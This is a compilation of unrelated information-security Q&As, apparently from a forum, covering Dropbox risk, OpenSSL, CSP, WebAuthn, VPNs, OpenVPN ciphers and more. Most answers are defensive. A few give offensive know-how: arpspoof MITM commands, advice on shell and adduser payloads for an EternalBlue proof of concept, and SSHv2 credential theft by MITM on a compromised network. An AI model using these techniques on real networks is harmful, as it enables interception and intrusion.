Security issues with allowing Dropbox installations on client PC's in our organisation Does anyone know if there is any good reasons not to allow Dropbox installations on our client PC's? All the PC's have antivirus installed and running. I know it is an additional attack vector to spreading files, but the kind of risk I am specific worried about is automatic spreading due to synchronization of files.

Can potential virus on the dropbox spread easier once the file is in the cloud as it potentially could be synchronized to our client, and then automatically spread? Is there any security mechanisms to prevent this kind of spreading?

I am not taking into consideration that files may be infected when the user opens them. These kinds of risks are already considered in all the other applications that allow file sharing (email, USB dongles and so on).

The kind of risk I am specific worried about is automatic spreading due to synchronization of files.

Does anyone know if there is any good reasons not to allow Dropbox installations on our client PC's?

This depends on a number of factors such as your willingness to accept risks, classification (sensitivity) of data you store/process or otherwise manage and for example the potential for increased user productivity.

There have been a number of confidentiality related issues regarding Dropbox such as this, and this and the fact that data is encrypted server-side. There are arguments both for and against the use of Dropbox but it always comes down to your willingness to accept risk and hence compromise on security for the increased convenience.

  Can potential virus on the dropbox spread easier once the file is in the cloud as it potentially could be synchronized to our client, and then automatically spread?

Yes, absolutely. Earlier versions of MS Office documents had macros enabled by default and many worms targeted those for spreading (later versions have however significantly improved in this area!).

But a worm/trojan could be specifically written to take advantage of Dropbox file sharing. When executed (for whatever reason) it could scan the computer and look for the Dropbox folder, replace files, rename or by any other means put itself in a place where the user is likely to execute it. It's clearly an excellent way of spreading malware to and from computers and networks.

  Is there any security mechanisms to prevent this kind of spreading?

Depends on what you mean with spreading, but I'm assuming you're talking about the execution of a windows binary from one of your company managed computers. Then yes, there are several ways of doing that. Using Windows 7 applocker you could simply restrict what applications are allowed to execute, or use an application to monitor for "new" executable files and remove them/quarantine or whatever action you deem desirable.

Additionally our good old friend AV will catch whatever old malware lands in the Dropbox folder, assuming reasonable coverage by the product. Know that there are statistics that seem to indicate that the most popular AV-products are the worst, but that even the best ones aren't great either. (Nothing new there really!)

One of the more obvious difficulties with allowing Dropbox is to make clear the separation between company assets and private assets. It's inevitable that users will also use Dropbox on their private computers, hence storing company data on private computers over which you have no control.

However, this again all depends on your willingness to accept risk. The threats are clearly identified and it would be a fairly easy exercise to calculate associated risk for each threat and provide you with a list of quantified risks. There are also technical safeguards you can implement to reduce the likelihood of some risks related to what you were specifically concerned about.

I would argue however that spreading of malware shouldn't be your top priority, instead you should focus on how to keep a clear separation between private and company owned data assets. This is the real headache in using any type of file synchronization product or service between corporate and home computers. There are products that would also address concerns regarding information disclosure but I digress.

Perhaps you are willing to accept these risks in order to avoid the cost of implementing required safeguards?


Interoperability of openssl smime, rsautl & dgst How do

$ openssl smime -sign -in test -text -out mail.msg -signer mycert.pem -inkey key.key

and

$ openssl rsautl -sign -inkey key.key -out test.sgn -in test

and

$ openssl dgst -sha256 -sign key.key -out test.sgn test

differ from each other concerning the digital signature of test?

Shouldn't they be interoperable to each other?: [ encrypt( SHA256( "Text" ) ) ]

I assume that it should be possible to verify with $openssl dgst -verify... a signature, which was created with one of the two other commands.

The difference between rsautl and dgst is explained here:
https://stackoverflow.com/questions/9951559/difference-between-openssl-rsautl-and-dgst

Regarding smime, it's saving result in email friendly format, the one which can be appended to email messages.

So all these 3 commands are not inter-operable because each command does something else.


Why is windows considered insecure? Possible Duplicate:
  Linux or Windows- the security issue

I often see people complaining that Windows is "highly insecure" while linux is MUCH more secure.

What exactly are the reasons/flaws that make Windows less secure ? How can one mitigate the dangers of these flaws ?

More importantly, is there any strong evidence to prove that each version of windows (such as windows 7) is MUCH more secure than the previous versions ?

By extension, windows is less secure because it has such a big part of the market, and is therefore targeted by hackers all the time. The smallest vulnerabilities are found rather quickly, it seems, because so many malicious users target this particular system at a time.

Look at the facts, some malware are appearing on OS X now because apple's OS is starting to get out there, and so an increasing amount of people use Mac these days. Up until 5 years ago or so, there had been almost literally no malware or viruses on Mac - simply because it wasn't targeting a large enough chunk of people, IMO.

Also, and I'm afraid I cannot expand too much on this because I'm not expertly enough, but I remember reading that UNIX-based systems were more secure by nature because, in part, of their administrator rights, like our friend Jan here just mentioned.


No expiry for offline primary PGP key? Are there benefits to set an expiration date on a PGP primary key which is only used offline?
Is setting an expiration date only on the subkeys enough?

It depends.
There could be benefits if you envision theft of the key and want to ensure that it cannot be used after a period of time. This is why you'll also want to generate a revocation certificate, but I suppose that could also get lost.
However, the benefits of not having to move around an offline key every year or so could outweigh the benefits of setting an expiration, if that is suitable for your threat model.


Why are inline scripts and styles considered not secure under content security policy? Inline scripts and styles are just a kind of language (CSS/Javascript) embedded in another langauge (HTML). Why are them not allowed by default under content security policy?

So why not allow inline JS? Because that would negate the whole benefit of a CSP! The  goal is to stop XSS - injection of eg. JS into a HTML page. Since it is near impossible to distinguish between scripts that are legitimately mixed into HTML and scripts that have been maliciously injected into HTML, the best way to stop XSS is to simply not allow any inline scripts. Yes,  it is "just a kind of language embedded in another", but that mix risk being toxic.

So why block it by default? Because the philosophy is to block everything by default, and then list what should be allowed. Whitelisting instead of blacklisting decreases the risk of something slipping through accidentally.


Diffie-Hellman protocol CA, confusing In the Diffie-Hellman protocol, if the participants have their own private key and a generated public key. How can we determine whether or not they have a trusted CA for authentication or just the original protocol wherein participants are not being authenticated?

Do we need to specify it, put a digital signature in the messages or can we assume authentication whenever there is a public key involved?

Diffie-Hellman (DH) is a key agreement algorithm, used to establish shared symmetric key material.

It is sometimes called the "Diffie-Hellman protocol" but that's a bit misleading. For DH certain steps need to be taken in order using specific data elements such as public keys. The DH protocol however doesn't specify exactly when those steps need to be taken nor the bitwise representation of those steps. Even worse, there are different ways of performing DH as well. To get just an idea you could take a look at NIST SP 56 revision 3 schemes.

INTERLUDE: If you read this document you can see that it is actually possible to authenticate using DH itself. For that a trusted public key needs to be available at the side doing the authentication. That means using a static key pair for the entity that is to be authenticated. Generally this could be done using a DH (or ECDH) certificate. Those are however hardly found in real life; most certificates rely on digital signatures rather than DH key establishment.

If and how an entity is trusted relies on the higher level protocol, e.g. a transport protocol such as TLS. In the latest TLS version 1.3 so called ephemeral-ephemeral Diffie-Hellman key agreement is required to be used. In that case the key agreement is separated from the authentication part: the DH parameters are just simply included in the final authentication but the agreement itself does not play a part in it.

This also means that the presence of a trusted CA certificate can only be detected by looking at the X.509v3 based authentication phase that happens after DH key establishment. That is: if DH takes place at all, of course. You would expect it for e.g. server authentication but other authentication methods may be deployed as well.

Short answer after the long explanation: yeah, you need to specify it together with the rest of the higher level protocol you try to implement.


Weird Log Record from researchscan1.eecs.berkeley.edu (169.229.3.91) - is this a hack attempt? I was looking through my ufw log record when I found this line:

169.229.3.91 - - [19/Feb/2016:13:21:52 +0100] "\xCEA\x81\xCF\x02\x03\xFCAm\xB8\xBF]1\xBE~0^\xCD\xA9\x05(\x8D`\xD9\x9D\x9D\x9C\x15m" 400 166 "-" "-"

Is this a hack attempt?

We're all being scanned by researchers at Berkeley.edu

Is this a hack attempt ?

This is a research scan performed by the University of California at Berkeley:

This is a research scanning machine from the University of California at Berkeley. This machine regularly conducts scans of the entire Internet so you may have been scanned as part of an ongoing research project.
The primary contact for this project is Bill Marczak (wrm at icsi dot berkeley dot edu) and the advisor for the project is Vern Paxson.
If you have been or are currently being scanned and would like to opt out, please email wrm at icsi dot berkeley dot edu with the IP ranges you would like to exclude in CIDR format.
If you have been or are currently receiving DNS requests, ICMP echoes, or TCP SYNs and would like to opt out, please email bjones99 at gatech dot edu with the IP ranges you would like to exclude in CIDR format.

Regarding your question, assuming the scanning machine is not compromised, then I don't think it's a hack attempt. It's probably just a check to see if you are hacked.
In many countries, conducting scans which attempt to hack random machines is illegal. An upstanding, well-known university would not be able to get away with breaking the law on such an epic scale.
You can opt-out of the scans if you like, or just block their scanners in your firewall. I've listed the additional scanner addresses at the end.

Legitimate uses for scanning
It's certainly possible that they're attempting to assess whether or not your machine is infected by a particular strain of malware. This is not the same as a hacking attempt. There are legitimate research reasons to know whether or not a machine is infected by some type of endemic malware.
When you read an article in the news which states how many computers worldwide are infected by certain types of malware, where do you think they get the numbers from? Scanners like these are one of the many different ways to obtain that data.

There are other scanners
Below is a list of other addresses they use
169.229.3.90 - researchscan0.eecs.berkeley.edu
169.229.3.91 - researchscan1.eecs.berkeley.edu
169.229.3.92 - researchscan2.eecs.berkeley.edu
169.229.3.93 - researchscan3.eecs.berkeley.edu
169.229.3.94 - researchscan4.eecs.berkeley.edu

Update with Response from Berkeley
I contacted the folks in charge, and this is their response:

We are performing a measurement study of a particular phenomenon on the Internet. To accurately asses the behavior we're performing a daily scan of the IPv4 space by sending a single benign packet to every IP on port 80 consisting of 64 random bytes of data. [...] No, we are not attempting to gain unauthorized access. [...] It's simply randomly generated data that conforms to a certain set of criteria.


Emails wrongly flagged as spam by filter, claiming suspicious URLs My wife runs a small website (in Japanese) selling vintage products online. She's sending out emails to customers with details about their order, together with images of the products and links to the item page(s).

All emails go via postmark (a credible 3rd party email delivery service). We also use SPF and DKIM to make sure emails are not flagged as spam. Most emails arrive without a problem, with a very low bounce-rate. As far as my wife and her customers are concerned, the emails are totally legit.

Occasionally however, when customers reply to one of those emails, we see a subject line that looks something like this: RE: [***Spam***](Suspicious Urls) ご注文ありがとうございます。 - Frau Vintage

From looking at the email headers, I believe this is emailed from MS Outlook (X-Mailer: Microsoft Office Outlook 12.0). Is this something done by Outlook's embedded junk e-mail filter, or perhaps third-party software?

Does anyone know which spam filter or tool marks those emails as spam and perhaps which method it uses to classify URLs as "suspicious"? Is there a way for my wife  to report these as false-positives to the vendor?

Note: unfortunately it is not an option to contact the email recipient directly or ask them to take any action. This will most likely scare them or cause unnecessary confusion, so I would like to investigate this without any customer assistance.

The product may be "Virus Security ZERO" by Sourcenext, a Japanese software company. They have FAQ pages for it that contains the [***Spam***](Suspicious Urls) text.

If you use Google Chrome to view that page, it should detect that it is in Japanese, and offer to translate it to English. The English version of the Sourcenext website is much more basic, and doesn't seem to contain the same FAQ entries.

I haven't checked out how to report false positives, although with Chrome translating the pages, you should be able to do that yourself (or maybe work out how to prevent your emails from triggering the detection).


EternalBlue exploit doesn't work against windows 8 i have tried this poc:

https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e

against a windows 8 target that i own, the code exits with an error that says:

impacket.nmb.NetBIOSTimeout: The NETBIOS connection with the remote host      timed out.

The error occures wherever there is conn.recvSMB().

although smb is running on port 445, all firewalls and security rules are deactivated (Anti-virus, Windows Firewall, SmartScan ...etc).

Does that mean my Win 8 box is pretty safe from Eternalblue?
Also, is Windows Firewall enough to stop all those SMB attacks?
If yes, then why Eternalblue is such a big deal? i mean a lot of Windows 7/8 come with Firewall activated by default.

Edit: I have tried a universal "exec calc.exe" shellcode and tried all possible numbers in numGroomConn parameter (3,4,5 ...etc)

Just because it doesn't work for you doesn't mean it's safe. You should patch your box.

If you are running an unpatched Windows 8 box, don't expect to be safe.

There's a lot of reasons why it may not work if your box is unpatched:

You may be attempting the wrong exploit packages. Would you trust random GitHub code without first auditing it?
You may not be able to spawn a reverse shell due to firewall policies, and would need a bind shell, or the other way around. Maybe you can't do either, but RDP is open; in that case, use windows/adduser as a payload. There's a lot of things to consider here - you will need to enumerate your box.
You may need the right target, encoding, to target the right architecture, process, etc... basically, you might not be using the right settings.

We can't really help you without enough details. Did you patch? If so, you should be fine. However, I would personally just disable SMB 1.0 because it's a dumpster fire.


Which is more effective and 'secure': Compression+Encryption, or only Encryption? This came up in an IRC discussion on freenode, and now I"m curious.

The idea is that someone wants to determine whether or not encryption alone, or compression+encryption (with gpg/pgp being the primary encryption system), provides better 'security' of the files.

Since I am not an expert in cryptography or cryptographical security, I'm wondering whether there's anything to back up either option over the other.

(Because nothing is truly 'secure' I'm using single quotes here)

There are several factors that come into play. The first is that encryption should hide patterns: if you have a file that contains the same content repeated several times over, encryption should hide this fact. If you have a weak encryption scheme, that leaks some information about patterns in the plaintext in its ciphertexts, then compression can help reduce the amount of information that leaks through. At least, that'st the classical theory. Any encryption scheme that's good enough to be used nowadays should take care of patterns all by iself though, compression or no compression (related tip: never use ECB mode directly). So the classical argument for compression before encryption is no longer that relevant (and compression after encryption is pointless in just about every case).

Another "classical" argument is that the chances of breaking a cipher increase with the amount of ciphertext you have to work with. So if you compress your messages before sending, you give an attacker less material to work with. Again, for any cipher secure under modern notions you should not have to worry about this. You should update your algorithms and key sizes every now and then according to the latest recommendations, rotate keys etc. - but the impact of compression on this will be minimal. Also if you encrypt each message under a per-message key and then transport this key bey encrypting it under a key-encrypting-key, which is a pretty standard thing to do (especially when public-key crypto is involved), you're controlling how much ciphertext gets sent out under any one key far better than you could by fiddling with compression.

The next point is that you might want encryption to hide the length of your ciphertext to some extent too. It's not too hard to gain some "metadata" about what someone is doing on a TLS connection by observing packet lengths and frequencies. Compression before encryption can help reduce the strength of the "signal" in some cases, but if you're worried about traffic analysis then you probably should be doing other things like padding to a fixed length - again, compression can make a bad situation a bit less bad, but it's not going to turn a bad situation into a good one.

Finally, you may have heard that compression within the TLS protocol will be abolished and banned in v1.3, or at least that was the case when I last read the draft. This is not to do with compression in general but because the specific way encryption, padding, MACs and compression interacted in TLS 1.2 and earlier standards had some vulnerabilities (CRIME, BEAST etc.). That doesn't mean that you can't compress at a higher (application) level or that compression weakens encryption in general, just that it has no place in the actual encryption module, at least not in the way it's done in TLS at the moment.

EDIT

In response to comments asking further questions, here are two examples of how compression can help or hurt you.

Example 1 You're applying for a job and you agree to send your best friend an encrypted message telling you if you got it or not. Because you work in IT, a plain "yes" or "no" will not do - it has to be an animated GIF, so you prepare two files yes.gif and no.gif, and because you're worried about someone just looking at the filesize of your ciphertext you make them both exactly 64KB. But the yes.gif is full of colours and ponies and rainbows and when compressed, 60KB large - the no.gif is a more demure slow black/white animation and compresses down to 4KB. Your encryption program automatically applies compression before encryption.
In this case, compression ruins your security completely.

Example 2
You've given up on the animated GIFs and agree that next time you want to meet your friend, you'll give him an encrypted e-mail simply saying "Let's meet next [day of week]." Your encryption program encrypts in 8-character (64 bit) blocks. If your message is "Let's meet next Monday." it fits nicely into 3 blocks, if it's "Let's meet next Wednesday." that's 4 blocks. Failed again. In this case, "mentally compressing" all days into their first three letters ("Let's meet next WED.") would have saved you.

In summary - compression does not generically help or harm encryption; if you typically have to deal with messages of similar lengths but varying levels of entropy/compressability then it might well do more harm than good.

The CRIME attack works because of a set of very specific circumstances that involve compression as one ingredient, but should not be applicable to file storage.


Key distribution and key exchange for simple secure FTP implementation I'm developing a simple secure file transfer protocol for a University project using openssl.

I have a Client (let be C) and a Server (let be S).

C will send to S messages like get, put, cd, … and S will send paths or files depending on which messages it has received.

I created a (public, private) key pair. The client has the public key and the server has the private key.

At the beginning of my software there is an exchange of symmetric keys generated by the client.
Since I would like to encrypt both the messages sent by the client and the messages sent by the server, is it better use the same private key or two different keys?

What you are trying to recreate is TLS/SSL, which was first published in 1994 (SSL), and has since undergone several revisions, with the most recent specification dated 2011 (TLS) - 17 years of development!

In TLS there are separate keys for sending and receiving (see this question: Separate Read and Write Keys in TLS Key Material) so it would seem sensible for you to do the same. The parties also generate read and write IV's for use with block ciphers.

TLS goes to great lengths to combat known attacks, such as including send and receive packet counts and sequence numbers as part of the HMAC. Some of the known attacks are discussed in the RFC (5246 TLS 1.2), so you might want to read those before you begin work on your own protocol.

You will also need some way of verifying the servers key (or certificate, as it is known in TLS) and this will require a priori knowledge on the client side, such as it's SHA fingerprint. You will also need to have the server prove that it is indeed the holder of the corresponding private key by sending some form of challenge (in TLS this is described in section F.1.1.2 of the RFC linked above).


Is it possible to configure any of wifi protocols so that the network is undetectable? I am wondering if it possible to configure my DD-WRT router so that the wifi network I am using is undetectable - impossible to tell if there is any network broadcasting even if there are clients connected, with all the transmissions indistinguishable from the noise. If not, why is that technically impossible? Is it a matter of no support from the protocol side, or do some radio-related constraints come into play?

Edit:

To answer @Francois Valiquette's question, here's how I saw it: as far as I know, perfect encryption is indistinguishable from the noise unless you know the key. The clients would send encrypted messages to the frequency and if the key is correct, they would notice the reply in the "not-noise".

No, the spectrum that is used is well-known and not concealed.  You can't conceal that activity is occurring, you can only prevent the SSID from being directly broadcast and encrypt the traffic such that the network can not be spied on without breaking the encryption.  The fact that there is radio activity in the spectrum will be apparent to anyone listening in and the encrypted messages will be able to be captured without trouble.

In order for a radio to be able to send a signal, it has to appear above the noise.  The only exception to this is when using specialized jamming equipment that allows signals to be sent through it (which is also not WiFi) (generally by not blocking frequencies in a pattern derived from a key), but even then, it is obvious that there is a transmitter there.

You are correct that a good encryption algorithm and key should make the cipher-text look random, but there has to be some kind of way for signal to stand out from random noise.  Say that you have a signal that looks random 10011011 and then have actual random noise 01011010.  When you combine them, you 11022021, but now since the noise was truly random, how do you know what was noise and what was signal?  You can't because you don't have a pattern to the noise.

If you generated the noise, then you could have a pattern and drown out the natural noise, but then we are back to the situation I described for signal jammers, you are going to know they are there because it needs to be enough louder than passive noise to be distinguished from background noise.  Such a system would also have to drown out any other signals in the spectrum in the area as they would also be effectively random interference which would make such a device illegal to operate for most purposes in the US due to FCC requirements that a device not cause interference.


Arp spoofing blocks internet I work on a fresh Kali install running in a VM. I have an external Wi-Fi NIC used only by the VM (I try to not use the internet connection of the host).

The network is protected (hum) by WEP, with the following IP adresses :

192.168.2.117: the target
192.168.2.254: the gateway
192.168.2.116: the attacking station

I've tried the following steps:

echo 1 >  /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 -t 192.168.2.117 -r 192.168.2.254  # I also tried without the flag `r`
arpspoof -i wlan0 -t 192.168.2.254 192.168.2.117  # I also tried without this line

The ARP table of the target is modified, and on the attacking station I see all the requests from .117 (on Wireshark). But there is no response from the gateway; I even doubt than the attacking station forward the requests to the gateway. My iptables is totally empty and the policy is on ACCEPT everywhere.

So where I am wrong, and how enable the forwarding of the requets?

Based on this question and its answer, you have to do the following:

remove iptables entries.
arpspoof -i wlan0 -t 192.168.2.117 -r 192.168.2.254
arpspoof -i wlan0 -t 192.168.2.254 192.168.2.117

notice the -r flag.


Why does WebAuthn require a challenge when asking the client to register a new credential? When registering a new credential as part of WebAuthn, why does the client need to be sent a challenge?

Presumably this is to prevent a replay attack, but wouldn't a replay attack be prevented by TLS already?

I've asked around a lot about this and haven't been able to find a definitive answer. However, I think the challenge is needed for the following reason:

Replay attacks should mostly be prevented by TLS, but as mentioned here and here it is still possible to execute a replay attack even with TLS by fooling the user or the user's browser to retry a request. Thus, this challenge helps cover a gap in TLS's replay prevention mechanisms.

For example, an attacker could compromise a user's identity in the following scenario if the challenge wasn't required:

A user tries registering a new credential.
That request is held by a man in the middle and a TCP reset is sent to the user's browser.
The user's browser retries the request and successfully registers the new credential.
Within a short period of time, the user decides to deregister their credential.
Again within a short period of time, the man in the middle releases the original request to the server and thus, the credential is re-registered without the user's knowledge.
Sometime later, the man in the middle steals the user's FIDO2 authenticator.
The man in the middle can now pose as the user.

Update

After realizing that a replay attack doesn't have to occur as a result of a compromised node in the network but could also occur as a result of a compromised operating system or compromised browser, I thought of the following example that would be possible without a challenge during registration:

An attacker gains control of a user's browser.
A user registers a new credential and the compromised browser intercepts the PublicKeyCredential before sending it to the server.
The attacker steals the user's FIDO2 authenticator.
The user deregisters their credential.
When the user goes to register a new credential, the compromised browser sends the old PublicKeyCredential instead of a new one.
The attacker can now pose as the user.

A very similar scenario could occur if the user's operating system was compromised and a challenge wasn't used during registration.

Also, these scenarios would only be relevant if a relying party required that registration/authentication be executed with a particular device that the attacker couldn't easily crack.


How to authorize user between each step in Multi-Factor-Authentication? Assume an authentication process that has multiple stages ( eg: username/password then OTP)

How you can authorize and identify user between each steps? If JWT tokens are used, is it an option to use different secrets to generate token for each steps?

Is there any standards for the above process

By giving them a session. The entire idea of a session is that a client receives some kind of number, which they give back to you upon every request. You will then have to decide how you deal with that number, and if you authorize this request.

As soon as they correctly enter their credentials, you can give them a session. That doesn't mean that that session is authorized to do anything yet, just that you are in the process of authenticating them.

Once the second factor authenticated them as well, you can mark the session as authorized to do whatever the user is authorized to do (e.g. creating a post, upvoting something, etc.).

If a user were attempting to perform such an action with a session that was not fully authorized (e.g. they did not enter the PIN sent via SMS), then they should receive the same error as a user who did not have a session at all.


Am I traceable if the VPN I am using keeps turning on and off? Let's say Bob is on network A and he decided to use a VPN service. Unfortunately he is using a poor VPN service which keeps turning on and off. But the Active downloads of packets are still ongoing because of the active home network A.

For example, a streaming youtube video is not effected by this switching of networks. So is there anywhere this trail is logged? If it's logged, who can trace it? Who has rights to trace it?

You are traceable. You used the correct idea when you described it as "switching networks". As you are streaming, your computer continually reaches out to the server to get the next bits. Your computer does not care what network it is on, it is just reaching out to the server, and the network and all the hops between you and the server are responsible for getting the traffic there.

So, if you start off using a VPN, then the packets travel over the VPN network. If that network goes down, then the network adjusts to keep the stream going on the new non-VPN network. This stream is unprotected in any way.

All streams are logged. The VPN provider logs the streams going through it, and the ISP logs the streams going through it. The server also logs the connections made, so it will see that the stream keeps switching networks.


Promotional code based on numerical value I have a field userid which has value between 10000 and 999999. I want to create a promotional code which is based on this field.

The promotional code will be used by the users to refer new users.

The promotional code characteristics:

no additional field in the database - through algorithm the promotional code can be decoded back to userid
hard to guess the userid
easy to share verbally

Can you suggest some ideas or examples how to tackle this issue?

no additional field in the database - through algorithm the promotional code can be decoded back to userid

While this would usually be solved through an additional table with cross references, ideally 1:n, so that one user id can have multiple valid promotional codes, this seems to be explicitly out of scope. This also precludes self-chosen promocodes, unfortunately.

  hard to guess the userid

Ideally, it shouldn't be possible to guess the user id (and be sure you guessed right) at all.

  easy to share verbally

This might be the biggest problem with not using an additional table.

I propose the following solution:

Encrypt your user ids.

There are different encryption schemes that may yield smaller results that can be used. But if, as suggested by your restriction on changes to the database, implementation cost is a driving factor, raw rsa might be worth a look as it keeps the ciphertext relatively small and encryption libraries are readily available.

The resulting bits could be translated into natural language words, for example by using a wordlist for diceware.

Using this approach, the ciphertext would be easy to communicate (as it's a string of words) and easy to decipher (reverse translation, decrypt resulting bits).

There is however a catch: those codes might get longer than expected (depending on the chosen encryption scheme) and might pose a time penalty when it comes to typing them in.

While this yields longer (in terms of string size) codes, they are way easier to transmit verbally especially for native speakers than the result of base32, base64 or any of the usual approaches for transport encoding.

Thus, even though a 1:n table would be ideal, using a fitting encryption scheme and ending up with maybe a 3 word code might be the next best thing - and definitely easier to share verbally than the usual suspects for encoding data.


Verifying the security of SAML SSO I run an instance of a log aggregation product in the cloud, installed on a VM. I've strictly configured it's networking settings, internal firewall, internal port redirection, strong admin password, valid HTTPS certificate, etc. The web interface is publicly open to the web by design and I can't limit the access to it.
Since the product supports SAML SSO, I've also configured it to work with Azure AD as an identity provider for my organization, so I won't have to deal with managing additional passwords, 2FA and to avoid other security flaws.
What's the best way I can verify that the exposed web interface is as protected as it can be? Ideally I want to catch now as many problems and misconfigurations as I can, to minimize my risk of getting hacked for real.

If you do not have an internal Cybersecurity resource, you can hire a Managed Security Service Provider (MSSP) or you can use free resources provided by the Cybersecurity & Infrastructure Security Agency (CISA) which will help report on potential vulnerabilities.


Is it possible to identify who's behind a nmap -D scan? Nmap's -D option stands for decoy, which means that the attacker can simulate that the attack is coming from multiple IPs, including attacker's IP.

From the point of view of the victim, is it possible to identify the real IP and then trace back the attacker?

In a nmap -D scan, for scanning to return any result, your real IP address must be used amongst the pool of decoys. Without your real IP being used, you will not be able to receive any response from your target server, and nmap scanning would not work.

The -D option creates confusion by introducing decoy IP addresses. So, if the target server is logging incoming connections, it will see an assortment of spoofed IP addresses plus your real IP address.

If you are not careful to ensure that the decoys are up (no response after initial SYN on active port that returns SYN-ACK) or if your ISP filter spoofed IP addresses (only your IP will appear on the server log), it would not be difficult to spot the actual IP address doing the scan.

Here are the relevant parts from the man page of nmap,

  -D decoy1[,decoy2][,ME][,...] (Cloak a scan with decoys) .
  Causes a decoy scan to be performed, which makes it appear to the remote host that the host(s) you specify as decoys are scanning the
  target network too. Thus their IDS might report 5-10 port scans from
  unique IP addresses, but they won't know which IP was scanning them
  and which were innocent decoys. While this can be defeated through
  router path tracing, response-dropping, and other active mechanisms,
  it is generally an effective technique for hiding your IP address....

  Note that the hosts you use as decoys should be up or you might accidentally SYN flood your targets. Also it will be pretty easy to
  determine which host is scanning if only one is actually up on the
  network....

  Decoys are used both in the initial ping scan (using ICMP, SYN, ACK, or whatever) and during the actual port scanning phase. Decoys
  are also used during remote OS detection (-O). Decoys do not work with
  version detection or TCP connect scan....

  ... Also, some ISPs will
  filter out your spoofed packets, but many do not restrict spoofed IP
  packets at all.


Is it possible to retrieve SSH v2 credentials in a username/password authentication scheme? I'm currently analysing a compromised network(root access has been gained to a workstation and logs show that it has been used for port scanning and service brute forcing attacks on the remaining stations within the subnet) and am wondering what is the most effective attack that can be launched at this point?

Packet sniffing allows for easy credential retrieval in the case of plain text protocols but is otherwise less effective against their encrypted counterparts.

Brute forcing is ineffective given that a secure credential policy is employed.

At this point I'm thinking that the attack with the highest impact would consist in credential retrieval through the use of arp poisoning on services such as SSH. I've found a suite of tools that would allow for an attacker to retrieve the user name and password values for SSH v1

here

The tools presented there are, however, archaic and require numerous tweaks in order to compile on most modern distros.

Is there an equivalent for SSH v2? What are the most suitable means of prevention/detection?

Yes, password credentials can still be stolen through a man-in-the-middle method with SSHv2.

The victim profile will depend on the type of man-in-the-middle method used. For your example of arp poisoning from a client workstation, arp poisoning would maximally really grant middling between clients on the nearby local network, or all clients if the server is on a nearby local network.

Other middling methods, such as DNS poisoning could increase the victim scope.

Most SSH clients will remember the public key of an SSH server they have previously connected to. So regular users would likely get a scary error or warning when attempting to connect through a mitm.

Using private key authentication is one way to avoid disclosing the secret credential, even if the connection is middled.

Here is an example story tool description.
http://woff.hu/tools/ssh2-mitm-like-attack-with-jmitm2/


ecdh-curve and tls cipher do not work together most of my question are already answered by reading in this forum, but "one last thing" is still open.

I am running a OpenVPN server with the following security characters:

  SERVER (Raspbian Buster)
  auth SHA512
  auth-nocache
  remote-cert-tls client
  user openvpn
  group openvpn
  ca /etc/openvpn/server/ca.crt
  cert /etc/openvpn/server/server.crt
  key /etc/openvpn/server/server.key
  tls-crypt /etc/openvpn/server/ta.key
  dh none
  ecdh-curve brainpoolP512r1
  tls-version-min 1.2
  cipher AES-256-GCM
  ncp-ciphers AES-256-GCM:AES-256-CBC

  CLIENT (iPhone App)
  tls-version-min 1.2
  remote-cert-tls server
  auth SHA512
  cipher AES-256-GCM
  auth-nocache

Everything works fine so far and the client can connect. But the missing link is the tls-cipher. With the following cipher my server starts, but the client cannot connect - of course I used the same ciphers for server and client.

  tls-cipher TLS-DHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA256:TLS-DHE-RSA-WITH-AES-128-GCM-SHA256:TLS-DHE-RSA-WITH-AES-128-CBC-SHA256

The result is the following server status:

  TLS error: The server has no TLS ciphersuites in common with the client. Your --tls-cipher setting might be too restrictive.
  OpenSSL: error:1417A0C1:SSL routines:tls_post_process_client_hello:no shared cipher
  TLS_ERROR: BIO read tls_read_plaintext error
  TLS Error: TLS object -> incoming plaintext read error
  TLS Error: TLS handshake failed

I tried some more tls-cipher like

  tls-cipher TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
  but the server did not start with that configuration.

Which tls-cipher can be used for client and server?

You need to change the right portion of your cipher spec.
In TLS 1.2 the cipher spec contains several parts corresponding to different settings:
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256

The first part is obvious: this is TLS
The second part (ECDHE or DHE) defines the key exchange used: elliptic curve based diffie-hellman or "normal" RSA based diffie-hellman (it also can be omitted to disable forward secrecy, but don't do that)
The next part tells which key type the certificate uses, it can be ECDSA for an elliptic curve or RSA for an rsa key, you must pecify the right one that corresponds to your certificate key
the remaining parts after the WITH define which symmetric cypher to use once authentication and key exchange are done. In this example it uses 128bit AES in CBC mode with SHA256 for message authentication. You should use AES in GCM mode wherever possible because it does encryption and authentication in one step rather than using a separate MAC.

Using that knowledge it becomes clear that you have to use at least something like
tls-cipher TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384


What are the security implications of people downloading addons, wrongly thinking that they are safe? I recently learned about a plugin for Firefox called Fire Sheep, which was featured on the Security Now podcast. I downloaded F.S. and began examining it. To my surprise it includes C++ code that must be compiled for the plugin to work.

My impression had always been that Firefox, unlike IE, does not allow execution of downloaded object code within the browser. F.S. seems to contradict this.

What are the security implications of people downloading plugins, thinking that they are safe, when they could easily contain malware in the form of Trojan object code or even Javascript exploits?

If people do not read the big fat warning that is displayed on every installation of a Addon or Plugin by Firefox, they have lost. Addons are full programs that can do anything, you have permission to do.
The warning message is really obvious:

You should only install add-ons from sources you trust.
Evil software can harm files on your computer or violate your privacy.


Am I likely to see any practical increase in security by combining passphrases and leetspeak? (We really should just have a button to link this XKCD)

I've just started switching my passwords into passphrases. Now, I didn't roll any dice to come up with them, which I know sacrifices entropy; they're sentences. They're at least 25 characters long, at least 5 words, and I try to slip a number in there as well as a "fake" word (this would be either a bastardization of a word I make up or a non-standard word like "doggo" or "borked").

Now, I know the fact that I have a structure at all means I've lost potential entropy, but the message I got away from that XKCD is that memorizablity is a resource to be maximized as well as entropy. I appreciate that I can tell my wife these passwords without needing to ever write them down (or, god forbid, text/email them). I hope to never actually see an active password of mine.

My question, then, is Am I likely to see any practical increase in security by combining passphrases and leetspeak?

"Practical increase in security" here means additional protection from any attack vectors given modern hardware in a reasonable time period. I know leet-speak would obviously help, but if an attack on the passphrase alone is infeasible, I'd rather not complicate my password. This is in the average case; I'm not concerned with someone dedicating dozens of GPUs to my password alone for months on end.

